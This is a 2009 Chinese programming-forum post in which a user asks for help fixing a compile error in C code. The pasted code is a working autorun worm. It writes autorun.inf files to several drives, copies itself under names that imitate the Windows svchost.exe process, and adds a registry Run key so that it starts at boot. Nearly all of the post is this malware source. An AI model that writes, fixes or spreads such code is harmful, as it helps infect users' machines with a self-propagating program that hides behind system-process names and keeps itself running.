标题:高手来帮我找个错误处来啊 编译时有个错误
只看楼主
a86819318
Rank: 2
等 级:论坛游民
帖 子:63
专家分:10
注 册:2009-10-8
结帖率:40%
 问题点数:0 回复次数:0 
高手来帮我找个错误处来啊 编译时有个错误
#define SVCHOST_NUM 6
#include<stdio.h>
#include<string.h>
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";

int copy(char *infile,char *outfile)
{
     FILE *input,*output;
     char temp;
     if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen

(outfile,"wb"))!=NULL))
     {
       while(!feof(input))
       {
         fread(&temp,1,1,input);
         fwrite(&temp,1,1,output);
       }
       fclose(input);
       fclose(output);
       return 0;
     }
     else return 1;
}
int main(void)
{
     FILE *input,*output;
     int i,k;
     for(i=0;i<3;i++)
     {
       output=fopen(files_autorun[i],"w");
       fprintf(output,"%s",autorun);
       fclose(output);
     }
     for(i=0;i<=SVCHOST_NUM;i++)
     {
       if((input=fopen(files_svchost[i],"rb"))!=NULL)
       {
         fclose(input);
         for(k=0;k<SVCHOST_NUM;k++)
         {
           copy(files_svchost[i],files_svchost[k]);
         }
         i=SVCHOST_NUM+1;
       }
     }
     system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */
     return 0;
}
搜索更多相关主题的帖子: 时有 编译 
2009-12-22 20:30



参与讨论请移步原网站贴子:https://bbs.bccn.net/thread-294091-1-1.html




关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.667692 second(s), 7 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved